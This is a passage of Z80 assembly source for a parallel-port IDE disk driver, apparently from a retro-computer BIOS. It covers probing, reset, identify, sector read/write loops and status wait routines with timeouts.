LD C,%01001000 ; OTHERWISE REMOVABLE COMPACT FLASH
PPIDE_DEVICE1:
LD H,0 ; H := 0, DRIVER HAS NO MODES
LD L,(IY+PPIDE_DATALO) ; L := BASE I/O ADDRESS
XOR A ; SIGNAL SUCCESS
RET
;
; IDE_GETMED
;
PPIDE_MEDIA:
LD A,E ; GET FLAGS
OR A ; SET FLAGS
JR Z,PPIDE_MEDIA2 ; JUST REPORT CURRENT STATUS AND MEDIA
;
; GET CURRENT STATUS
LD A,(IY+PPIDE_STAT) ; GET STATUS
OR A ; SET FLAGS
JR NZ,PPIDE_MEDIA1 ; ERROR ACTIVE, GO RIGHT TO RESET
;
; USE IDENTIFY COMMAND TO CHECK DEVICE
LD HL,PPIDE_TIMEOUT ; POINT TO TIMEOUT
LD (HL),PPIDE_TOFAST ; USE FAST TIMEOUT DURING IDENTIFY COMMAND
CALL PPIDE_SELUNIT ; HARDWARE SELECTION OF TARGET UNIT
CALL PPIDE_IDENTIFY ; EXECUTE IDENTIFY COMMAND
LD HL,PPIDE_TIMEOUT ; POINT TO TIMEOUT
LD (HL),PPIDE_TONORM ; BACK TO NORMAL TIMEOUT
JR Z,PPIDE_MEDIA2 ; IF SUCCESS, BYPASS RESET
;
PPIDE_MEDIA1:
CALL PPIDE_RESET ; RESET IDE INTERFACE
;
PPIDE_MEDIA2:
LD A,(IY+PPIDE_STAT) ; GET STATUS
OR A ; SET FLAGS
LD D,0 ; NO MEDIA CHANGE DETECTED
LD E,MID_HD ; ASSUME WE ARE OK
RET Z ; RETURN IF GOOD INIT
LD E,MID_NONE ; SIGNAL NO MEDIA
LD A,ERR_NOMEDIA ; NO MEDIA ERROR
OR A ; SET FLAGS
RET ; AND RETURN
;
;
;
PPIDE_SEEK:
BIT 7,D ; CHECK FOR LBA FLAG
CALL Z,HB_CHS2LBA ; CLEAR MEANS CHS, CONVERT TO LBA
RES 7,D ; CLEAR FLAG REGARDLESS (DOES NO HARM IF ALREADY LBA)
LD (IY+PPIDE_LBA+0),L ; SAVE NEW LBA
LD (IY+PPIDE_LBA+1),H ; ...
LD (IY+PPIDE_LBA+2),E ; ...
LD (IY+PPIDE_LBA+3),D ; ...
XOR A ; SIGNAL SUCCESS
RET ; AND RETURN
;
;
;
PPIDE_CAP:
LD A,(IY+PPIDE_STAT) ; GET STATUS
PUSH AF ; SAVE IT
LD A,PPIDE_MEDCAP ; OFFSET TO CAPACITY FIELD
CALL LDHLIYA ; HL := IY + A, REG A TRASHED
CALL LD32 ; GET THE CURRENT CAPACITY INTO DE:HL
LD BC,512 ; 512 BYTES PER BLOCK
POP AF ; RECOVER STATUS
OR A ; SET FLAGS
RET
;
;
;
PPIDE_GEOM:
; FOR LBA, WE SIMULATE CHS ACCESS USING 16 HEADS AND 16 SECTORS
; RETURN HS:CC -> DE:HL, SET HIGH BIT OF D TO INDICATE LBA CAPABLE
CALL PPIDE_CAP ; GET TOTAL BLOCKS IN DE:HL, BLOCK SIZE TO BC
LD L,H ; DIVPPIDE BY 256 FOR # TRACKS
LD H,E ; ... HIGH BYTE DISCARDED, RESULT IN HL
LD D,16 | $80 ; HEADS / CYL = 16, SET LBA CAPABILITY BIT
LD E,16 ; SECTORS / TRACK = 16
RET ; DONE, A STILL HAS PPIDE_CAP STATUS
;
;=============================================================================
; FUNCTION SUPPORT ROUTINES
;=============================================================================
;
;
;
PPIDE_SETFEAT:
PUSH AF
#IF (PPIDETRACE >= 3)
CALL PPIDE_PRTPREFIX
PRTS(" SETFEAT$")
#ENDIF
LD A,(PPIDE_DRVHD)
;OUT (PPIDE_REG_DRVHD),A
CALL PPIDE_OUT
.DB PPIDE_REG_DRVHD
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
POP AF
;OUT (PPIDE_REG_FEAT),A ; SET THE FEATURE VALUE
CALL PPIDE_OUT
.DB PPIDE_REG_FEAT
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
LD A,PPIDE_CMD_SETFEAT ; CMD = SETFEAT
LD (PPIDE_CMD),A ; SAVE IT
JP PPIDE_RUNCMD ; RUN COMMAND AND EXIT
;
;
;
PPIDE_IDENTIFY:
#IF (PPIDETRACE >= 3)
CALL PPIDE_PRTPREFIX
PRTS(" IDDEV$")
#ENDIF
LD A,(PPIDE_DRVHD)
;OUT (PPIDE_REG_DRVHD),A
CALL PPIDE_OUT
.DB PPIDE_REG_DRVHD
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
LD A,PPIDE_CMD_IDDEV
LD (PPIDE_CMD),A
CALL PPIDE_RUNCMD
RET NZ
LD HL,HB_WRKBUF
JP PPIDE_GETBUF ; EXIT THRU BUFRD
;
;
;
PPIDE_RDSEC:
;
#IF (PPIDETRACE >= 3)
CALL PPIDE_PRTPREFIX
PRTS(" READ$")
#ENDIF
LD A,(PPIDE_DRVHD)
;OUT (PPIDE_REG_DRVHD),A
CALL PPIDE_OUT
.DB PPIDE_REG_DRVHD
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
CALL PPIDE_SETADDR ; SETUP CYL, TRK, HEAD
LD A,PPIDE_CMD_READ
LD (PPIDE_CMD),A
CALL PPIDE_RUNCMD
RET NZ
LD HL,(PPIDE_DSKBUF)
JP PPIDE_GETBUF
;
;
;
PPIDE_WRSEC:
;
#IF (PPIDETRACE >= 3)
CALL PPIDE_PRTPREFIX
PRTS(" WRITE$")
#ENDIF
LD A,(PPIDE_DRVHD)
;OUT (PPIDE_REG_DRVHD),A
CALL PPIDE_OUT
.DB PPIDE_REG_DRVHD
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
CALL PPIDE_SETADDR ; SETUP CYL, TRK, HEAD
LD A,PPIDE_CMD_WRITE
LD (PPIDE_CMD),A
CALL PPIDE_RUNCMD
RET NZ
LD HL,(PPIDE_DSKBUF)
JP PPIDE_PUTBUF
;
;
;
PPIDE_SETADDR:
; SEND 3 LOWEST BYTES OF LBA IN REVERSE ORDER
; IDE_IO_LBA3 HAS ALREADY BEEN SET
; HSTLBA2-0 --> IDE_IO_LBA2-0
LD A,(IY+PPIDE_LBA+2)
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
CALL PPIDE_OUT
.DB PPIDE_REG_LBA2
;
LD A,(IY+PPIDE_LBA+1)
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
CALL PPIDE_OUT
.DB PPIDE_REG_LBA1
;
LD A,(IY+PPIDE_LBA+0)
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
CALL PPIDE_OUT
.DB PPIDE_REG_LBA0
;
LD A,1
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
CALL PPIDE_OUT
.DB PPIDE_REG_COUNT
;
#IF (DSKYENABLE)
CALL PPIDE_DSKY
#ENDIF
;
RET
;
;=============================================================================
; COMMAND PROCESSING
;=============================================================================
;
PPIDE_RUNCMD:
CALL PPIDE_WAITRDY ; WAIT FOR DRIVE READY
RET NZ ; BAIL OUT ON TIMEOUT
;
LD A,(PPIDE_CMD) ; GET THE COMMAND
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
;OUT (PPIDE_REG_CMD),A ; SEND IT (STARTS EXECUTION)
CALL PPIDE_OUT
.DB PPIDE_REG_CMD
#IF (PPIDETRACE >= 3)
PRTS(" -->$")
#ENDIF
;
CALL PPIDE_WAITBSY ; WAIT FOR DRIVE READY (COMMAND DONE)
RET NZ ; BAIL OUT ON TIMEOUT
;
CALL PPIDE_GETRES
JP NZ,PPIDE_CMDERR
RET
;
;
;
PPIDE_GETBUF:
#IF (PPIDETRACE >= 3)
PRTS(" GETBUF$")
#ENDIF
;
; WAIT FOR BUFFER
CALL PPIDE_WAITDRQ ; WAIT FOR BUFFER READY
RET NZ ; BAIL OUT IF TIMEOUT
;
; SETUP PPI TO READ
LD A,PPIDE_DIR_READ ; SET DATA BUS DIRECTION TO READ
;OUT (PPIDE_IO_PPI),A ; DO IT
LD C,(IY+PPIDE_PPI) ; PPI CONTROL WORD
OUT (C),A ; WRITE IT
;
; SELECT READ/WRITE IDE REGISTER
LD A,PPIDE_REG_DATA ; DATA REGISTER
;OUT (PPIDE_IO_CTL),A ; DO IT
LD C,(IY+PPIDE_CTL) ; SET IDE ADDRESS
OUT (C),A ; DO IT
LD E,A ; E := READ UNASSERTED
XOR PPIDE_CTL_DIOR ; SWAP THE READ LINE BIT
LD D,A ; D := READ ASSERTED
;
; LOOP SETUP
XOR A ; IMPORTANT, NEEDED FOR LOOP END COMPARISON
LD B,0 ; 256 ITERATIONS
LD C,(IY+PPIDE_CTL) ; SET IDE ADDRESS
;
BIT 1,(IY+PPIDE_ACC) ; 8 BIT?
JR Z,PPIDE_GETBUF1 ; IF NOT, DO 16 BIT
CALL PPIDE_GETBUF8 ; FIRST PASS (FIRST 256 BYTES)
CALL PPIDE_GETBUF8 ; SECOND PASS (LAST 256 BYTES)
JR PPIDE_GETBUF2 ; CONTINUE
PPIDE_GETBUF1:
CALL PPIDE_GETBUF16 ; FIRST PASS (FIRST 256 BYTES)
CALL PPIDE_GETBUF16 ; SECOND PASS (LAST 256 BYTES)
PPIDE_GETBUF2:
CALL PPIDE_WAITRDY ; PROBLEMS IF THIS IS REMOVED!
RET NZ
CALL PPIDE_GETRES
JP NZ,PPIDE_IOERR
RET
;
PPIDE_GETBUF8: ; 8 BIT WIDE READ LOOP
; ENTER W/ C = PPIDE_IO_CTL
OUT (C),D ; ASSERT READ
DEC C ; CTL -> MSB
DEC C ; MSB -> LSB
INI ; READ FROM LSB
INC C ; LSB -> MSB
INC C ; MSB -> CTL
OUT (C),E ; DEASSERT READ
CP B ; B == A == 0?
JR NZ,PPIDE_GETBUF8 ; LOOP UNTIL DONE
RET
;
PPIDE_GETBUF16: ; 16 BIT WIDE READ LOOP
; ENTER W/ C = PPIDE_IO_CTL
OUT (C),D ; ASSERT READ
DEC C ; CTL -> MSB
DEC C ; MSB -> LSB
INI ; READ FROM LSB
INC C ; LSB -> MSB
INI ; READ MSB FOR 16 BIT
INC C ; MSB -> CTL
OUT (C),E ; DEASSERT READ
CP B ; B == A == 0?
JR NZ,PPIDE_GETBUF16 ; LOOP UNTIL DONE
RET
;
;
;
PPIDE_PUTBUF:
#IF (PPIDETRACE >= 3)
PRTS(" PUTBUF$")
#ENDIF
;
; WAIT FOR BUFFER
CALL PPIDE_WAITDRQ ; WAIT FOR BUFFER READY
RET NZ ; BAIL OUT IF TIMEOUT
;
; SETUP PPI TO WRITE
LD A,PPIDE_DIR_WRITE ; SET DATA BUS DIRECTION TO WRITE
;OUT (PPIDE_IO_PPI),A ; DO IT
LD C,(IY+PPIDE_PPI) ; PPI CONTROL WORD
OUT (C),A ; WRITE IT
;
; SELECT READ/WRITE IDE REGISTER
LD A,PPIDE_REG_DATA ; DATA REGISTER
;OUT (PPIDE_IO_CTL),A ; DO IT
LD C,(IY+PPIDE_CTL) ; SET IDE ADDRESS
OUT (C),A ; DO IT
LD E,A ; E := WRITE UNASSERTED
XOR PPIDE_CTL_DIOW ; SWAP THE READ LINE BIT
LD D,A ; D := WRITE ASSERTED
;
; LOOP SETUP
XOR A ; IMPORTANT, NEEDED FOR LOOP END COMPARISON
LD B,0 ; 256 ITERATIONS
LD C,(IY+PPIDE_CTL) ; SET IDE ADDRESS
;
BIT 1,(IY+PPIDE_ACC) ; 8 BIT?
JR Z,PPIDE_PUTBUF1 ; IF NOT, DO 16 BIT
CALL PPIDE_PUTBUF8 ; FIRST PASS (FIRST 256 BYTES)
CALL PPIDE_PUTBUF8 ; SECOND PASS (LAST 256 BYTES)
JR PPIDE_PUTBUF2 ; CONTINUE
PPIDE_PUTBUF1:
CALL PPIDE_PUTBUF16 ; FIRST PASS (FIRST 256 BYTES)
CALL PPIDE_PUTBUF16 ; SECOND PASS (LAST 256 BYTES)
PPIDE_PUTBUF2:
CALL PPIDE_WAITRDY ; PROBLEMS IF THIS IS REMOVED!
RET NZ
CALL PPIDE_GETRES
JP NZ,PPIDE_IOERR
RET
;
PPIDE_PUTBUF8: ; 8 BIT WIDE WRITE LOOP
DEC C ; CTL -> MSB
DEC C ; MSB -> LSB
OUTI ; WRITE NEXT BYTE (LSB)
INC C ; LSB -> MSB
INC C ; MSB -> CTL
OUT (C),D ; ASSERT WRITE
OUT (C),E ; DEASSERT WRITE
CP B ; B == A == 0?
JR NZ,PPIDE_PUTBUF8 ; LOOP UNTIL DONE
RET
;
PPIDE_PUTBUF16: ; 16 BIT WIDE WRITE LOOP
DEC C ; CTL -> MSB
DEC C ; MSB -> LSB
OUTI ; WRITE NEXT BYTE (LSB)
INC C ; LSB -> MSB
OUTI ; WRITE NEXT BYTE (MSB)
INC C ; MSB -> CTL
OUT (C),D ; ASSERT WRITE
OUT (C),E ; DEASSERT WRITE
CP B ; B == A == 0?
JR NZ,PPIDE_PUTBUF16 ; LOOP UNTIL DONE
RET
;
;
;
PPIDE_GETRES:
;IN A,(PPIDE_REG_STAT) ; READ STATUS
CALL PPIDE_IN
.DB PPIDE_REG_STAT
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
AND %00000001 ; ERROR BIT SET?
RET Z ; NOPE, RETURN WITH ZF
;
;IN A,(PPIDE_REG_ERR) ; READ ERROR REGISTER
CALL PPIDE_IN
.DB PPIDE_REG_ERR
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
OR $FF ; FORCE NZ TO SIGNAL ERROR
RET ; RETURN
;
;=============================================================================
; HARDWARE INTERFACE ROUTINES
;=============================================================================
;
; SOFT RESET OF ALL DEVICES ON BUS
;
PPIDE_RESET:
#IF (PPIDETRACE >= 3)
CALL PPIDE_PRTPREFIX
PRTS(" RESET$")
#ENDIF
;
; OLDER CF CARDS DO NOT SEEM TO SET THE
; REGISTERS ON RESET, SO HERE WE FAKE THINGS BY
; SETTING THEM AS A RESET WOULD
#IF (PPIDETRACE >= 3)
PRTS(" FAKE$")
#ENDIF
XOR A
;OUT (IDE_IO_CYLLO),A
CALL PPIDE_OUT
.DB PPIDE_REG_CYLLO
;OUT (IDE_IO_CYLHI),A
CALL PPIDE_OUT
.DB PPIDE_REG_CYLHI
INC A
;OUT (IDE_IO_COUNT),A
CALL PPIDE_OUT
.DB PPIDE_REG_COUNT
;OUT (IDE_IO_SECT),A
CALL PPIDE_OUT
.DB PPIDE_REG_SECT
;
; SETUP PPI TO READ
LD A,PPIDE_DIR_READ ; SET DATA BUS DIRECTION TO READ
;OUT (PPIDE_IO_PPI),A ; DO IT
LD C,(IY+PPIDE_PPI) ; PPI CONTROL WORD
OUT (C),A ; WRITE IT
;
; PULSE IDE RESET LINE
LD A,PPIDE_CTL_RESET
;OUT (PPIDE_IO_CTL),A
LD C,(IY+PPIDE_CTL) ; SET IDE ADDRESS
OUT (C),A
LD DE,20
CALL VDELAY
XOR A
;OUT (PPIDE_IO_CTL),A
OUT (C),A
LD DE,20
CALL VDELAY
;
LD A,%00001010 ; SET ~IEN, NO INTERRUPTS
;OUT (PPIDE_REG_CTRL),A
CALL PPIDE_OUT
.DB PPIDE_REG_CTRL
;
; SPEC ALLOWS UP TO 450MS FOR DEVICES TO ASSERT THEIR PRESENCE
; VIA -DASP. I ENCOUNTER PROBLEMS LATER ON IF I DON'T WAIT HERE
; FOR THAT TO OCCUR. THUS FAR, IT APPEARS THAT 150MS IS SUFFICIENT
; FOR ANY DEVICE ENCOUNTERED. MAY NEED TO EXTEND BACK TO 500MS
; IF A SLOWER DEVICE IS ENCOUNTERED.
;
;LD DE,500000/16 ; ~500MS
LD DE,150000/16 ; ~???MS
CALL VDELAY
;
; INITIALIZE THE INDIVIDUAL UNITS (MASTER AND SLAVE).
; BASED ON TESTING, IT APPEARS THAT THE MASTER UNIT MUST
; BE DONE FIRST OR THIS BEHAVES BADLY.
PUSH IY ; SAVE CFG PTR
BIT 0,(IY+PPIDE_ACC) ; MASTER?
CALL Z,PPIDE_GOPARTNER ; IF NOT, SWITCH TO MASTER
CALL PPIDE_INITUNIT ; INIT CURRENT UNIT
CALL PPIDE_GOPARTNER ; POINT TO SLAVE
CALL PPIDE_INITUNIT ; INIT PARTNER UNIT
POP IY ; RECOVER ORIG CFG PTR
;
XOR A ; SIGNAL SUCCESS
RET ; AND DONE
;
;
;
PPIDE_INITUNIT:
CALL PPIDE_SELUNIT ; SELECT UNIT
RET NZ ; ABORT IF ERROR
LD HL,PPIDE_TIMEOUT ; POINT TO TIMEOUT
LD (HL),PPIDE_TONORM ; SET NORMAL TIMEOUT
CALL PPIDE_PROBE ; DO PROBE
RET NZ ; JUST RETURN IF NOTHING THERE
CALL PPIDE_INITDEV ; IF FOUND, ATTEMPT TO INIT DEVICE
RET ; DONE
;
; TAKE ANY ACTIONS REQUIRED TO SELECT DESIRED PHYSICAL UNIT
;
PPIDE_SELUNIT:
#IF (PPIDETRACE >= 3)
CALL PPIDE_PRTPREFIX
PRTS(" SELUNIT$")
#ENDIF
BIT 0,(IY+PPIDE_ACC) ; MASTER?
JR Z,PPIDE_SELUNIT1 ; HANDLE SLAVE
LD A,PPIDE_DRVMASTER ; MASTER
JR PPIDE_SELUNIT2
PPIDE_SELUNIT1:
LD A,PPIDE_DRVSLAVE ; SLAVE
PPIDE_SELUNIT2:
LD (PPIDE_DRVHD),A ; SAVE IT
XOR A ; SUCCESS
RET
;
;
;
PPIDE_PROBE:
#IF (PPIDETRACE >= 3)
CALL PPIDE_PRTPREFIX
PRTS(" PROBE$") ; LABEL FOR IO ADDRESS
#ENDIF
;
LD A,(PPIDE_DRVHD)
;OUT (IDE_IO_DRVHD),A
CALL PPIDE_OUT
.DB PPIDE_REG_DRVHD
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
CALL DELAY ; DELAY ~16US
;
; BELOW TESTS FOR EXISTENCE OF AN IDE CONTROLLER ON THE
; PPIDE INTERFACE. WE WRITE A VALUE OF ZERO FIRST SO THAT
; THE PPI BUS HOLD WILL RETURN A VALUE OF ZERO IF THERE IS
; NOTHING CONNECTED TO PPI PORT A. THEN WE READ THE STATUS
; REGISTER. IF AN IDE CONTROLLER IS THERE, IT SHOULD ALWAYS
; RETURN SOMETHING OTHER THAN ZERO. IF AN IDE CONTROLLER IS
; THERE, THEN THE VALUE WRITTEN TO PPI PORT A IS IGNORED
; BECAUSE THE WRITE SIGNAL IS NEVER PULSED.
XOR A
;OUT (PPIDE_IO_DATALO),A
LD C,(IY+PPIDE_DATALO) ; PPI PORT A, DATALO
OUT (C),A
; IN A,(PPIDE_REG_STAT) ; GET STATUS
CALL PPIDE_IN
.DB PPIDE_REG_STAT
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE
#ENDIF
OR A
JP Z,PPIDE_NOMEDIA
;
#IF (PPIDETRACE >= 3)
CALL PPIDE_REGDUMP
#ENDIF
;
;JR PPIDE_PROBE1 ; *DEBUG*
;
PPIDE_PROBE0:
CALL PPIDE_WAITBSY ; WAIT FOR BUSY TO CLEAR
JP NZ,PPIDE_NOMEDIA ; CONVERT TIMEOUT TO NO MEDIA AND RETURN
;
#IF (PPIDETRACE >= 3)
CALL PPIDE_REGDUMP
#ENDIF
;
; CHECK STATUS
; IN A,(PPIDE_REG_STAT) ; GET STATUS
CALL PPIDE_IN
.DB PPIDE_REG_STAT
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
CALL PRTHEXBYTE ; IF DEBUG, PRINT STATUS
#ENDIF
OR A ; SET FLAGS TO TEST FOR ZERO
JP Z,PPIDE_NOMEDIA ; CONTINUE IF NON-ZERO
;
; CHECK SIGNATURE
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
#ENDIF
;IN A,(PPIDE_REG_COUNT)
CALL PPIDE_IN
.DB PPIDE_REG_COUNT
#IF (PPIDETRACE >= 3)
CALL PRTHEXBYTE
#ENDIF
CP $01
JP NZ,PPIDE_NOMEDIA
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
#ENDIF
;IN A,(PPIDE_REG_SECT)
CALL PPIDE_IN
.DB PPIDE_REG_SECT
#IF (PPIDETRACE >= 3)
CALL PRTHEXBYTE
#ENDIF
CP $01
JP NZ,PPIDE_NOMEDIA
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
#ENDIF
;IN A,(PPIDE_REG_CYLLO)
CALL PPIDE_IN
.DB PPIDE_REG_CYLLO
#IF (PPIDETRACE >= 3)
CALL PRTHEXBYTE
#ENDIF
CP $00
JP NZ,PPIDE_NOMEDIA
#IF (PPIDETRACE >= 3)
CALL PC_SPACE
#ENDIF
;IN A,(PPIDE_REG_CYLHI)
CALL PPIDE_IN
.DB PPIDE_REG_CYLHI
#IF (PPIDETRACE >= 3)
CALL PRTHEXBYTE
#ENDIF
CP $00
JP NZ,PPIDE_NOMEDIA
;
PPIDE_PROBE1:
; SIGNATURE MATCHES ATA DEVICE, RECORD TYPE AND RETURN SUCCESS
LD A,PPIDE_TYPEATA ; TYPE = ATA
LD (IY+PPIDE_TYPE),A ; SET IT IN INSTANCE DATA
XOR A ; SIGNAL SUCCESS
RET ; DONE, NOTE THAT A=0 AND Z IS SET
;
; (RE)INITIALIZE DEVICE
;
PPIDE_INITDEV:
;
LD A,(IY+PPIDE_TYPE) ; GET THE DEVICE TYPE
OR A ; SET FLAGS
JP Z,PPIDE_NOMEDIA ; EXIT SETTING NO MEDIA STATUS
;
BIT 1,(IY+PPIDE_ACC) ; 8 BIT ACCESS?
JR Z,PPIDE_INITDEV0 ; NO, DO 16 BIT INIT
LD A,PPIDE_FEAT_ENABLE8BIT ; FEATURE VALUE = ENABLE 8-BIT PIO
CALL PPIDE_SETFEAT ; SET FEATURE
RET NZ ; BAIL OUT ON ERROR
JR PPIDE_INITDEV00 ; CONTINUE
;
PPIDE_INITDEV0:
; "REAL" IDE DRIVES MAY NOT ACCEPT THE DISABLE8BIT FEATURE COMMAND,
; SO IT IS ONLY AN ERROR IF WE ARE ATTEMPTING TO ENABLE8BIT.
; CREDIT TO ED BRINDLEY FOR THIS CORRECTION. SO ERROR RETURN IGNORED HERE.
LD A,PPIDE_FEAT_DISABLE8BIT ; FEATURE VALUE = ENABLE 8-BIT PIO
CALL PPIDE_SETFEAT ; SET FEATURE, IGNORE ERRORS
;
PPIDE_INITDEV00:
;
CALL PPIDE_IDENTIFY ; EXECUTE PPIDENTIFY COMMAND
RET NZ ; BAIL OUT ON ERROR
;
LD DE,HB_WRKBUF ; POINT TO BUFFER
#IF (PPIDETRACE >= 3)
CALL DUMP_BUFFER ; DUMP IT IF DEBUGGING
#ENDIF
;
LD (IY+PPIDE_MED),0 ; CLEAR MEDIA FLAGS
;
; DETERMINE IF CF DEVICE
LD HL,HB_WRKBUF ; FIRST WORD OF IDENTIFY DATA HAS CF FLAG
LD A,$8A ; FIRST BYTE OF MARKER IS $8A
CP (HL) ; COMPARE
JR NZ,PPIDE_INITDEV1 ; IF NO MATCH, NOT CF
INC HL
LD A,$84 ; SECOND BYTE OF MARKER IS $84
CP (HL) ; COMPARE
JR NZ,PPIDE_INITDEV1 ; IF NOT MATCH, NOT CF
SET 0,(IY+PPIDE_MED) ; SET FLAGS BIT FOR CF MEDIA
;
PPIDE_INITDEV1:
; DETERMINE IF LBA CAPABLE
LD A,(HB_WRKBUF+98+1) ; GET BYTE WITH LBA BIT FROM BUFFER
BIT 1,A ; CHECK THE LBA BIT
JR Z,PPIDE_INITDEV2 ; NOT SET, BYPASS
SET 1,(IY+PPIDE_MED) ; SET FLAGS BIT FOR LBA
;
PPIDE_INITDEV2:
; GET DEVICE CAPACITY AND SAVE IT
LD A,PPIDE_MEDCAP ; OFFSET TO CAPACITY FIELD
CALL LDHLIYA ; HL := IY + A, REG A TRASHED
PUSH HL ; SAVE POINTER
LD HL,HB_WRKBUF ; POINT TO BUFFER START
LD A,120 ; OFFSET OF SECTOR COUNT
CALL ADDHLA ; POINT TO ADDRESS OF SECTOR COUNT
CALL LD32 ; LOAD IT TO DE:HL
POP BC ; RECOVER POINTER TO CAPACITY ENTRY
CALL ST32 ; SAVE CAPACITY
;
; RESET CARD STATUS TO 0 (OK)
XOR A ; A := 0 (STATUS = OK)
LD (IY+PPIDE_STAT),A ; SAVE IT
;
RET ; RETURN, A=0, Z SET
;
; SWITCH IY POINTER FROM CURRENT UNIT CFG TO PARTNER UNIT CFG
;
PPIDE_GOPARTNER:
PUSH HL ; SAVE HL
LD L,(IY+PPIDE_PARTNER) ; GET PARTNER ENTRY
LD H,(IY+PPIDE_PARTNER+1) ; ...
PUSH HL ; MOVE HL
POP IY ; ... TO IY
POP HL ; RESTORE INCOMING HL
RET ; AND DONE
;
; CHECK CURRENT DEVICE FOR ERROR STATUS AND ATTEMPT TO RECOVER
; VIA RESET IF DEVICE IS IN ERROR.
;
PPIDE_CHKERR:
LD A,(IY+PPIDE_STAT) ; GET STATUS
OR A ; SET FLAGS
CALL NZ,PPIDE_RESET ; IF ERROR STATUS, RESET BUS
RET
;
;
;
PPIDE_WAITRDY:
LD A,(PPIDE_TIMEOUT) ; GET TIMEOUT IN 0.05 SECS
LD B,A ; PUT IN OUTER LOOP VAR
PPIDE_WAITRDY1:
LD DE,(PPIDE_TOSCALER) ; CPU SPEED SCALER TO INNER LOOP VAR
PPIDE_WAITRDY2:
;IN A,(PPIDE_REG_STAT) ; READ STATUS
CALL PPIDE_IN
.DB PPIDE_REG_STAT
LD C,A ; SAVE IT
AND %11000000 ; ISOLATE BUSY AND RDY BITS
XOR %01000000 ; WE WANT BUSY(7) TO BE 0 AND RDY(6) TO BE 1
RET Z ; ALL SET, RETURN WITH Z SET
DEC DE
LD A,D
OR E
JR NZ,PPIDE_WAITRDY2 ; INNER LOOP RETURN
DJNZ PPIDE_WAITRDY1 ; OUTER LOOP RETURN
JP PPIDE_RDYTO ; EXIT WITH RDYTO ERR
;
;
;
PPIDE_WAITDRQ:
LD A,(PPIDE_TIMEOUT) ; GET TIMEOUT IN 0.05 SECS
LD B,A ; PUT IN OUTER LOOP VAR
PPIDE_WAITDRQ1:
LD DE,(PPIDE_TOSCALER) ; CPU SPEED SCALER TO INNER LOOP VAR
PPIDE_WAITDRQ2:
;IN A,(PPIDE_REG_STAT) ; READ STATUS
CALL PPIDE_IN
.DB PPIDE_REG_STAT
LD C,A ; SAVE IT
AND %10001000 ; TO FILL (OR READY TO FILL)
XOR %00001000
RET Z
DEC DE
LD A,D
OR E
JR NZ,PPIDE_WAITDRQ2
DJNZ PPIDE_WAITDRQ1
JP PPIDE_DRQTO ; EXIT WITH BUFTO ERR
;
;
;
PPIDE_WAITBSY:
LD A,(PPIDE_TIMEOUT) ; GET TIMEOUT IN 0.05 SECS
LD B,A ; PUT IN OUTER LOOP VAR
PPIDE_WAITBSY1:
LD DE,(PPIDE_TOSCALER) ; CPU SPEED SCALER TO INNER LOOP VAR
PPIDE_WAITBSY2:
;IN A,(PPIDE_REG_STAT) ; READ STATUS
CALL PPIDE_IN ; 17TS + 170TS
.DB PPIDE_REG_STAT ; 0TS
LD C,A ; SAVE IT ; 4TS
AND %10000000 ; TO FILL (OR READY TO FILL) ; 7TS
RET Z ; 5TS
DEC DE ; 6TS
LD A,D ; 4TS
OR E ; 4TS
JR NZ,PPIDE_WAITBSY2 ; 12TS
DJNZ PPIDE_WAITBSY1 ; -----
JP PPIDE_BSYTO ; EXIT WITH BSYTO ERR ; 229TS
;
; READ A VALUE FROM THE DEVICE POINTED TO BY IY AND RETURN IT IN A
;
PPIDE_IN:
EX (SP),HL ; GET PARM POINTER ; 19TS
PUSH BC ; SAVE INCOMING BC ; 11TS
LD A,PPIDE_DIR_READ ; SET DATA BUS DIRECTION TO READ ; 7TS
;OUT (PPIDE_IO_PPI),A ; DO IT ; 11TS
LD C,(IY+PPIDE_PPI) ; PPI CONTROL WORD
OUT (C),A ; WRITE IT
;
LD B,(HL) ; GET CTL PORT VALUE ; 7TS
;LD C,PPIDE_IO_CTL ; SETUP PORT TO WRITE ; 7TS
;LD C,(IY+PPIDE_CTL) ; SET IDE ADDRESS
DEC C ; SET IDE ADDRESS
OUT (C),B ; SET ADDRESS LINES ; 12TS
SET 6,B ; TURN ON READ BIT ; 8TS
OUT (C),B ; ASSERT READ LINE ; 12TS
;
;IN A,(PPIDE_IO_DATALO) ; GET DATA VALUE FROM DEVICE ; 11TS
DEC C
DEC C
IN A,(C) ; GET DATA VALUE FROM DEVICE
INC C
INC C
;
RES 6,B ; CLEAR READ BIT ; 8TS
OUT (C),B ; DEASSERT READ LINE ; 12TS
POP BC ; RECOVER INCOMING BC ; 10TS
INC HL ; POINT PAST PARM ; 6TS
EX (SP),HL ; RESTORE STACK ; 19TS
RET ; 10TS
;
; OUTPUT VALUE IN A TO THE DEVICE POINTED TO BY IY
;
PPIDE_OUT:
; *** TODO *** FIX ORDER OF SET/CLEAR WRITE LINE
EX (SP),HL ; GET PARM POINTER
PUSH BC ; SAVE INCOMING BC
PUSH AF ; PRESERVE INCOMING VALUE
LD A,PPIDE_DIR_WRITE ; SET DATA BUS DIRECTION TO WRITE
;OUT (PPIDE_IO_PPI),A ; DO IT
LD C,(IY+PPIDE_PPI) ; PPI CONTROL WORD
OUT (C),A ; WRITE IT
POP AF ; RECOVER VALUE TO WRITE
;
